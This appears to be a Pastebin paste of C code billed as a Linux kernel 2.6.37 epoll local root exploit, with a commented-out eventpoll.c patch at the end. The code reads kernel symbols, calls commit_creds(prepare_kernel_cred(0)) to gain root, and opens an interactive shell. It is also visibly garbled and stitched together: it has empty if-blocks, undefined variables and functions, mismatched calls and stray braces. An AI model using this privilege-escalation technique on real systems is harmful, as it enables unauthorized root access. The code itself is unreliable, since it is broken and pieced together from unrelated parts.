Advertisement
Guest User

Untitled

a guest
Sep 9th, 2017
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Linux kernel 2.6.37 epoll() local exploit
  2. #include <stdlib.h>
  3. #include <fcntl.h>
  4. #include <sys/epoll.h>
  5. #include <sys/time.h>
  6. #include <sys/types.h>
  7. #include <sys/utsname.h>
  8. #include <errno.h>
  9. #include <string.h>
  10.  
  11. #define SIZE 250
  12. #define RECV 51144
  13. #define SEND 61133
  14.  
  15. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  16. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  17. _commit_creds commit_creds;
  18. _prepare_kernel_cred prepare_kernel_cred;
  19.  
  20. int __attribute__((regparm(3)))
  21. getroot(void * file, void * vma) {
  22. commit_creds(prepare_kernel_cred(0));
  23. return -1;
  24. }
  25.  
  26. unsigned long get_kernel_sym(char *name) {
  27. FILE *f;
  28. unsigned long addr;
  29. char dummy;
  30. char sname[256];
  31. int ret;
  32. f = fopen("/proc/kallsyms", "r");
  33. if (f == NULL) {
  34. f = fopen("/proc/ksyms", "r");
  35. if (f == NULL) {
  36. fprintf(stdout, "[-] Unable to obtain symbol listing!\n");
  37. exit(0);
  38. }
  39. }
  40. ret = 0;
  41. while(ret != EOF) {
  42. ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  43. if (ret == 0) {
  44. fscanf(f, "%s\n", sname);
  45. continue;
  46. }
  47. if (!strcmp(name, sname)) {
  48. fprintf(stdout, " [+] Resolved: %s to: %p\n", name, (void *)addr);
  49. fclose(f);
  50. return addr;
  51. }
  52. }
  53. fclose(f);
  54. return 0;
  55. }
  56.  
  57. void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) {
  58. if(!fork()) {
  59. sleep(1);
  60. send_message(value, sendsock);
  61. exit(1);
  62. } else {
  63. get_message(addr, recvsock);
  64. wait(NULL);
  65. }
  66. }
  67.  
  68. int prep_sock(int port) {
  69. int s, ret;
  70. struct sockaddr_in addr;
  71. s = socket(PF_INET, SOCK_DGRAM, 0);
  72. if(s < 0) {
  73. printf("[*] Couldnt open socket.\n");
  74. exit(-1);
  75. }
  76. memset(&addr, 0, sizeof(addr));
  77. addr.sin_addr.s_addr = inet_addr("localhost");
  78. addr.sin_family = AF_INET;
  79. addr.sin_port = htons(port);
  80. ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
  81. if(ret < 0) {
  82. printf("[*] Could not bind socket udp().\n");
  83. exit(-1);
  84. }
  85. return s;
  86. }
  87.  
  88. int main(int argc, char * argv[]) {
  89. int s, ret;
  90. printf("[!!] Linux kernel 2.6.37 mutiple exploit~leverages 3 deep~\n");
  91. printf("[+] Starting level1 (sendmsg/the_rebel())...\n");
  92. unsigned long sock,target;
  93. int sendsock, recvsock;
  94. struct utsname ver;
  95. struct timeval start, end;
  96. struct sockaddr_in recv;
  97. struct msghdr msg;
  98. struct iovec iov;
  99. unsigned long buf;
  100. s = socket(PF_INET, SOCK_DGRAM, 17);
  101. sock = get_kernel_sym("proto_ops");  // therebel
  102. commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
  103. sendsock = prep_sock(SEND);
  104. recvsock = prep_sock(RECV);
  105. printf("[*] Resolving kernel addresses..\n");
  106. prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
  107. if(!sock || !commit_creds || !prepare_kernel_cred) {
  108. printf("[*] Failed to resolve kernel_symbols.\n");
  109. return -1;
  110. }
  111. ret = bind(s, (struct sockaddr *)&recv, sizeof(recv));
  112. memset(&recv, 0, sizeof(recv));
  113. size = sizeof(recv);
  114. recv.sin_port = htons(RECV);
  115. recv.sin_family = AF_INET;
  116. recv.sin_addr.s_addr = inet_addr("localhost");
  117. memset(&msg, 0, sizeof(msg));
  118. msg.msg_name = &recv;
  119. msg.msg_namelen = sizeof(recv);
  120. msg.msg_iovlen = 1;
  121. buf = value;
  122. iov.iov_len = sizeof(buf);
  123. iov.iov_base = &buf;
  124. msg.msg_iov = &iov;
  125. ret = sendmsg(sock, &msg, 0);
  126. if(ret < 0) {
  127. printf("[-] Something went wrong sending!\n");
  128. exit(-1);
  129. }
  130. printf("[+] Starting (epoll)...\n");
  131. int links[SIZE];
  132. int links2[SIZE];
  133. int links3[SIZE];
  134. int links4[SIZE];
  135. int i, j;
  136. int ret;
  137. int ep1, ep2;
  138. target = sock + 9*sizeof(void *);
  139. struct epoll_event evt = {
  140. .events = EPOLLIN
  141. };
  142. for (i = 0; i < SIZE; i++) {
  143. links[i] = epoll_create(1);
  144. ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &evt);
  145. if (ret)
  146. }
  147. for (i = 0; i < SIZE; i++) {
  148. links2[i] = epoll_create(1);
  149. for (j = 0; j < SIZE; j++) {
  150. epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &evt);
  151. if (ret)
  152. }
  153. }
  154. for (i = 0; i < SIZE; i++) {
  155. links3[i] = epoll_create(1);
  156. for (j = 0; j < SIZE; j++) {
  157. epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &evt);
  158. if (ret)
  159. }
  160. }
  161. for (i = 0; i < SIZE; i++) {
  162. links4[i] = epoll_create(1);
  163. for (j = 0; j < SIZE; j++) {
  164. epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &evt);
  165. if (ret)
  166. }
  167. }
  168. ep1 = epoll_create(1);
  169. gettimeofday(&start, NULL);
  170. ret = write_to_mem(EPOLL_CTL_ADD);
  171. if (ret)
  172. gettimeofday(&end, NULL);
  173. printf("[*] Got root!\n");
  174. execl("/bin/sh", "/bin/sh", "-i", NULL);
  175. }
  176. return 0;
  177. }
  178.  
  179.  
  180. //SOLUTION: Apply patch below
  181. /*
  182. //Patch:
  183. diff --git a/fs/eventpoll.c b/fs/eventpoll.c
  184. index 4a09af9..ea74bc9 100644
  185. --- a/fs/eventpoll.c
  186. +++ b/fs/eventpoll.c
  187. @@ -95,6 +95,9 @@ struct epoll_filefd {
  188.     int fd;
  189.  };
  190. +/* used to keep track of visited nodes, so they can be cleared */
  191. +LIST_HEAD(visited_list);
  192. +
  193. /*
  194.   * Structure used to track possible nested calls, for too deep recursions
  195.   * and loop cycles.
  196. @@ -188,6 +191,10 @@ struct eventpoll {
  197.     /* The user that created the eventpoll descriptor */
  198.     struct user_struct *user;
  199. +
  200. +   /* used to optimize loop detection check */
  201. +   int visited;
  202. +   struct list_head visitedllink;
  203. };
  204.  
  205. /* Wait structure used by the poll hooks */
  206. @@ -1228,16 +1235,22 @@ static int ep_loop_check_proc(void *priv, void *cookie, int call_nests)
  207.     int error = 0;
  208.     struct file *file = priv;
  209.     struct eventpoll *ep = file->private_data;
  210. +   struct eventpoll *ep_tovisit;
  211.     struct rb_node *rbp;
  212.     struct epitem *epi;
  213.  
  214.     mutex_lock(&ep->mtx);
  215. +   ep->visited = 1;
  216. +   list_add(&ep->visitedllink, &visited_list);
  217.     for (rbp = rb_first(&ep->rbr); rbp; rbp = rb_next(rbp)) {
  218.         epi = rb_entry(rbp, struct epitem, rbn);
  219.         if (unlikely(is_file_epoll(epi->ffd.file))) {
  220. +           ep_tovisit = epi->ffd.file->private_data;
  221. +           if (ep_tovisit->visited)
  222. +               continue;
  223.             error = ep_call_nested(&poll_loop_ncalls, EP_MAX_NESTS,
  224.                            ep_loop_check_proc, epi->ffd.file,
  225. -                          epi->ffd.file->private_data, current);
  226. +                          ep_tovisit, current);
  227.             if (error != 0)
  228.                 break;
  229.         }
  230. @@ -1260,8 +1273,17 @@ static int ep_loop_check_proc(void *priv, void *cookie, int call_nests)
  231.   */
  232.  static int ep_loop_check(struct eventpoll *ep, struct file *file)
  233.  {
  234. -   return ep_call_nested(&poll_loop_ncalls, EP_MAX_NESTS,
  235. +   int ret;
  236. +   struct eventpoll *ep_cur, *ep_next;
  237. +
  238. +   ret = ep_call_nested(&poll_loop_ncalls, EP_MAX_NESTS,
  239.                   ep_loop_check_proc, file, ep, current);
  240. +   /* clear visited list */
  241. +   list_for_each_entry_safe(ep_cur, ep_next, &visited_list, visitedllink) {
  242. +       ep_cur->visited = 0;
  243. +       list_del(&ep_cur->visitedllink);
  244. +   }
  245. +   return ret;
  246.  }
  247. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement